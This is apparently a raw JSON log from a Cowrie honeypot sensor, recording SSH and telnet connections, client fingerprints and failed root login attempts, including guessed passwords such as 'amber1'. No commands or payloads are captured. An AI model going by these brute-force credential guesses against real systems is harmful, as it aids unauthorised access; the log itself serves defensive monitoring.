{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:01:6e:18:81:ce:b3:4a:2e:ac:d8:53:55:d6:5b:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcLlqB8lRVbzkg6YiAxmz/DhfaiosrPGTlI5E/j9Hdb68qj79KO90nKgp0g4bHJ538/kIIXEcib5oyPx2M6o7ghHcQwO6WJHpfiwzl4TLVInGgMFeF4RmLg8bSn7QqlHRiypKf1V2KQrXNKhuwCDxXyBo4VoZ6zEiSGzhqitnAGxgkwo8YX5hEL9XkzgZEIJX0PIw04SMsLaG/jqt0srHMIvxt0IkpvDLQ+Qtt0oc8HgkVrj70tcmyLPpe+TK+xYS9YZHzHdILC4U+hEGUML334HmhisUw/v75yAqIJK3cWEhg5zNYjh3B9BH9rGsEAiYGMFSHDQD5/VNmeq1vKfJ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:01:6e:18:81:ce:b3:4a:2e:ac:d8:53:55:d6:5b:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:27.079694Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:01:6e:18:81:ce:b3:4a:2e:ac:d8:53:55:d6:5b:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcLlqB8lRVbzkg6YiAxmz/DhfaiosrPGTlI5E/j9Hdb68qj79KO90nKgp0g4bHJ538/kIIXEcib5oyPx2M6o7ghHcQwO6WJHpfiwzl4TLVInGgMFeF4RmLg8bSn7QqlHRiypKf1V2KQrXNKhuwCDxXyBo4VoZ6zEiSGzhqitnAGxgkwo8YX5hEL9XkzgZEIJX0PIw04SMsLaG/jqt0srHMIvxt0IkpvDLQ+Qtt0oc8HgkVrj70tcmyLPpe+TK+xYS9YZHzHdILC4U+hEGUML334HmhisUw/v75yAqIJK3cWEhg5zNYjh3B9BH9rGsEAiYGMFSHDQD5/VNmeq1vKfJ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:27.083661Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:27.129407Z","src_ip":"148.153.121.224","session":"e7eee1186171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":24763,"dst_ip":"159.203.135.109","dst_port":22,"session":"a723ab45b5a0","protocol":"ssh","message":"New connection: 79.127.181.44:24763 (159.203.135.109:22) [session: a723ab45b5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:33.726106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:33.935138Z","src_ip":"79.127.181.44","session":"a723ab45b5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:34.138348Z","src_ip":"79.127.181.44","session":"a723ab45b5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:34.144369Z","src_ip":"79.127.181.44","session":"a723ab45b5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58103823661804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:50.398337Z","src_ip":"192.119.13.58","session":"ede089b108e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33505439758301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:22:58.628240Z","src_ip":"192.119.13.58","session":"747636267795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.76837205886841,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:07.454608Z","src_ip":"192.119.13.58","session":"7b0055288734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":53422,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc170c7f8fc2","protocol":"ssh","message":"New connection: 194.120.230.72:53422 (10.17.0.5:22) [session: dc170c7f8fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.195873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.202111Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.292790Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:f0:16:73:0d:e2:0a:44:ad:65:53:ed:58:67:4c:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPxedeyY17xWySStxWRzlRyXG70I1ATKorSZ4N0lhKhm8NmZq+BuI+PkVtEV7RgX6Qeq8ulfADzTiHNAI8S194pk2S+YqnevqeOX6ajvfo+0to8qBxZqmrMbQVu78ZebRLXvOsYQR+wLEyttxQ9dotNLI24XBgJlBWvVK8JeKOsbXT/dGJXuQdO/LNO7cHSnHzA86hGkok3xG2TMwdfbCITOxfDJ2C4v72Z5vu4F3B4K8kKz2J+9/DHniGO5Ku/PbTEluGAyEPryq5vxcTR34yfMUFw50iG25NsPdzUm4EzGcuFzW10lqet/Yl+9flnZe94FPaQNC4OilWPeMoFLSlimvcQS4OjswAkyn1zSvCWt0UkxXwPdP/Hk/+aN09ePZs3+NJYAOB2QUFGwR0GVLQX8htB9/w8kHB4fy5X/gRaHbGbJSJxwDsoNL5dyEq4TvY66syD0OBM41ff6q1OmYRbcJsUkBrGNfuYaH5ES72gH3Us08FvWfQ/tdW2qL7hI9nj0qvdfhHSlki0nmjQlrhQJUZttaTsu+TfzRqT85REnNXUkM3DaUBeqDInJBX9EcNUlyUmLWPgcUh/jAIW0QbnRfZeTmgRoZXzFEb42GMt4/stAbL4nnHg5jzrBCuZUqbE6YHMEKybihdtP8VrxIuBvGr9aOhytEuBNTRQHupw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:f0:16:73:0d:e2:0a:44:ad:65:53:ed:58:67:4c:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.721045Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:f0:16:73:0d:e2:0a:44:ad:65:53:ed:58:67:4c:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPxedeyY17xWySStxWRzlRyXG70I1ATKorSZ4N0lhKhm8NmZq+BuI+PkVtEV7RgX6Qeq8ulfADzTiHNAI8S194pk2S+YqnevqeOX6ajvfo+0to8qBxZqmrMbQVu78ZebRLXvOsYQR+wLEyttxQ9dotNLI24XBgJlBWvVK8JeKOsbXT/dGJXuQdO/LNO7cHSnHzA86hGkok3xG2TMwdfbCITOxfDJ2C4v72Z5vu4F3B4K8kKz2J+9/DHniGO5Ku/PbTEluGAyEPryq5vxcTR34yfMUFw50iG25NsPdzUm4EzGcuFzW10lqet/Yl+9flnZe94FPaQNC4OilWPeMoFLSlimvcQS4OjswAkyn1zSvCWt0UkxXwPdP/Hk/+aN09ePZs3+NJYAOB2QUFGwR0GVLQX8htB9/w8kHB4fy5X/gRaHbGbJSJxwDsoNL5dyEq4TvY66syD0OBM41ff6q1OmYRbcJsUkBrGNfuYaH5ES72gH3Us08FvWfQ/tdW2qL7hI9nj0qvdfhHSlki0nmjQlrhQJUZttaTsu+TfzRqT85REnNXUkM3DaUBeqDInJBX9EcNUlyUmLWPgcUh/jAIW0QbnRfZeTmgRoZXzFEb42GMt4/stAbL4nnHg5jzrBCuZUqbE6YHMEKybihdtP8VrxIuBvGr9aOhytEuBNTRQHupw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.724381Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:6c:b7:87:52:2f:5e:11:75:44:b2:c8:6d:0d:93:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7s/PxYUHJFO33dlEpVscC5cHvXCyxJ+wwUiRg8sS47RnaoD44DKVazWy7vpVZFDkpusN65SqTUNyag3NcsbOlX7Xi7mYWURoEITaIsTZ0hxVCxks8jSCXLWnELHbzCJ9T/BvKfgC/D3BHLp8AMLN8if1cKUnJoWzsHgeFX7yRDjviWJtCx/k8Ic05MPrbozzaqmi/0LYzrkEscserhg/1C+ygvDY2D49DWXbXi0ajnkR49f7iLKYiBInVATXlk8Q/7sYqmhvOWeGOPCSyNb7pwC11SJYsA8wmCirwGOiXc+3PwJ2IxOuvBpKCPjGdb4KdyywjbfNeHOQpnzjx2Mxh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:6c:b7:87:52:2f:5e:11:75:44:b2:c8:6d:0d:93:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.817315Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:6c:b7:87:52:2f:5e:11:75:44:b2:c8:6d:0d:93:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7s/PxYUHJFO33dlEpVscC5cHvXCyxJ+wwUiRg8sS47RnaoD44DKVazWy7vpVZFDkpusN65SqTUNyag3NcsbOlX7Xi7mYWURoEITaIsTZ0hxVCxks8jSCXLWnELHbzCJ9T/BvKfgC/D3BHLp8AMLN8if1cKUnJoWzsHgeFX7yRDjviWJtCx/k8Ic05MPrbozzaqmi/0LYzrkEscserhg/1C+ygvDY2D49DWXbXi0ajnkR49f7iLKYiBInVATXlk8Q/7sYqmhvOWeGOPCSyNb7pwC11SJYsA8wmCirwGOiXc+3PwJ2IxOuvBpKCPjGdb4KdyywjbfNeHOQpnzjx2Mxh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.821205Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:87:3c:0a:95:ab:66:6a:9d:ed:5e:b4:8c:50:35:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIkzgyyEmlEFdR0RgqlO1A3L0qru87am/3VcAcYu4o912tbxLMJzgNA9cuqG+kPxqJ7aFtjNEHtswX2F7l7YXDSRrqIEs0virNZuN7wkZannnA+qRWKrLuHeHxS0pCfgKhQUctCVtoUQO2K1erucwWCUYxkF4Uda4J7vz2xiDD7TAQN1qxo2HpIuSOyDuxqSs0MkpApb0VR6bMezZ8T/p0S/CrZBa5NJsOyS5+Stsxd/iUb6i7GdiEhOrHGlwp9fqrIXUO+gE2PG5ZVpYmGa8a9IJjx9CZ2ZnlIlPC8Om5xal48dX2Bu9cM3G/TiO+fakeeunvt+6EQlKNzmI+nk9t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:87:3c:0a:95:ab:66:6a:9d:ed:5e:b4:8c:50:35:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.912642Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:87:3c:0a:95:ab:66:6a:9d:ed:5e:b4:8c:50:35:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIkzgyyEmlEFdR0RgqlO1A3L0qru87am/3VcAcYu4o912tbxLMJzgNA9cuqG+kPxqJ7aFtjNEHtswX2F7l7YXDSRrqIEs0virNZuN7wkZannnA+qRWKrLuHeHxS0pCfgKhQUctCVtoUQO2K1erucwWCUYxkF4Uda4J7vz2xiDD7TAQN1qxo2HpIuSOyDuxqSs0MkpApb0VR6bMezZ8T/p0S/CrZBa5NJsOyS5+Stsxd/iUb6i7GdiEhOrHGlwp9fqrIXUO+gE2PG5ZVpYmGa8a9IJjx9CZ2ZnlIlPC8Om5xal48dX2Bu9cM3G/TiO+fakeeunvt+6EQlKNzmI+nk9t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:15.917192Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:2e:aa:1a:bb:e9:80:0a:af:e1:88:df:eb:c6:a2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2GYtxWJ0GBkcDJDJF2j643PmCEgZIXdunKKAxLvFx/JAY7DQs/BAHfZhSrEEKAeScRRefM1ud6RlnKec3112CFu6iNsTAKcFCwUH7nKyNBGl7809oGvO5IoL+Q7TomRnVVV3VAfE0VWIqNp6XwuQL3whbZGxCcYQWzxY/jQVYRNVc1Z3u9MZLTg9oXABtPQb50GlSccOZMbvr3QHk9jHgn/UyaYniWPIUnAwql3G1YkDYGtkFMTBnlwU6oUG+Cvfvi1rZ4/vXcKAMMocJhcwB+LeNAbSrSd0lNT+3yDlSronu3CfoICMtTpsl1s0Nwkis9KeSL+8Is81qlKa8fMJz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:2e:aa:1a:bb:e9:80:0a:af:e1:88:df:eb:c6:a2:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:16.008239Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:2e:aa:1a:bb:e9:80:0a:af:e1:88:df:eb:c6:a2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2GYtxWJ0GBkcDJDJF2j643PmCEgZIXdunKKAxLvFx/JAY7DQs/BAHfZhSrEEKAeScRRefM1ud6RlnKec3112CFu6iNsTAKcFCwUH7nKyNBGl7809oGvO5IoL+Q7TomRnVVV3VAfE0VWIqNp6XwuQL3whbZGxCcYQWzxY/jQVYRNVc1Z3u9MZLTg9oXABtPQb50GlSccOZMbvr3QHk9jHgn/UyaYniWPIUnAwql3G1YkDYGtkFMTBnlwU6oUG+Cvfvi1rZ4/vXcKAMMocJhcwB+LeNAbSrSd0lNT+3yDlSronu3CfoICMtTpsl1s0Nwkis9KeSL+8Is81qlKa8fMJz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:16.012330Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:e0:83:b3:a6:62:2b:f7:ec:8a:65:bf:ee:55:d8:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTol9NYpbDRzHVt8RB/75Z+m/v5XMhQjb41XeWivmvRlwVA0neXongKAM0stTSe7vvT0ltqOuDQWpuPUEKbm+5b1piIKeBUMwP2SKatwubo7Vxl4CWzeF/xaB0TzY+rnx5bsMhPvyJRodTgvPran6ogCb7PiSnyrOA7lctGFHH/aYQUfVQuPiGQ0afTtPFHAD+LKD46VHx7zJ+kBn3r7ZCmxldETzwSnn/ws997o+3xSSRHDg9d0zKlNxKhDJNEezSlVOmV8RmGRP5FQ3Z6ZDLu7bDSTDCzOqraZbaBhcuR4an88Saa662QtJdGtYgzVb0MTz78mb8parJkgvRc1BD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:e0:83:b3:a6:62:2b:f7:ec:8a:65:bf:ee:55:d8:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:16.103053Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:e0:83:b3:a6:62:2b:f7:ec:8a:65:bf:ee:55:d8:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTol9NYpbDRzHVt8RB/75Z+m/v5XMhQjb41XeWivmvRlwVA0neXongKAM0stTSe7vvT0ltqOuDQWpuPUEKbm+5b1piIKeBUMwP2SKatwubo7Vxl4CWzeF/xaB0TzY+rnx5bsMhPvyJRodTgvPran6ogCb7PiSnyrOA7lctGFHH/aYQUfVQuPiGQ0afTtPFHAD+LKD46VHx7zJ+kBn3r7ZCmxldETzwSnn/ws997o+3xSSRHDg9d0zKlNxKhDJNEezSlVOmV8RmGRP5FQ3Z6ZDLu7bDSTDCzOqraZbaBhcuR4an88Saa662QtJdGtYgzVb0MTz78mb8parJkgvRc1BD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:16.107296Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:16.207594Z","src_ip":"194.120.230.72","session":"dc170c7f8fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":41952,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e698451e45d","protocol":"ssh","message":"New connection: 43.156.39.221:41952 (10.17.0.5:22) [session: 8e698451e45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:33.283499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:33.288650Z","src_ip":"43.156.39.221","session":"8e698451e45d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:33.534077Z","src_ip":"43.156.39.221","session":"8e698451e45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amber1","message":"login attempt [root/amber1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:34.546072Z","src_ip":"43.156.39.221","session":"8e698451e45d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:35.795650Z","src_ip":"43.156.39.221","session":"8e698451e45d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53312,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a834189086","protocol":"telnet","message":"New connection: 192.119.13.58:53312 (10.17.0.5:23) [session: 93a834189086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:36.674845Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46586,"dst_ip":"159.203.135.109","dst_port":22,"session":"b81f9154fa63","protocol":"ssh","message":"New connection: 193.37.70.224:46586 (159.203.135.109:22) [session: b81f9154fa63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:50.379452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:50.384362Z","src_ip":"193.37.70.224","session":"b81f9154fa63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:50.478546Z","src_ip":"193.37.70.224","session":"b81f9154fa63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdffdsa","message":"login attempt [root/asdffdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:50.763648Z","src_ip":"193.37.70.224","session":"b81f9154fa63","protocol":"ssh"}
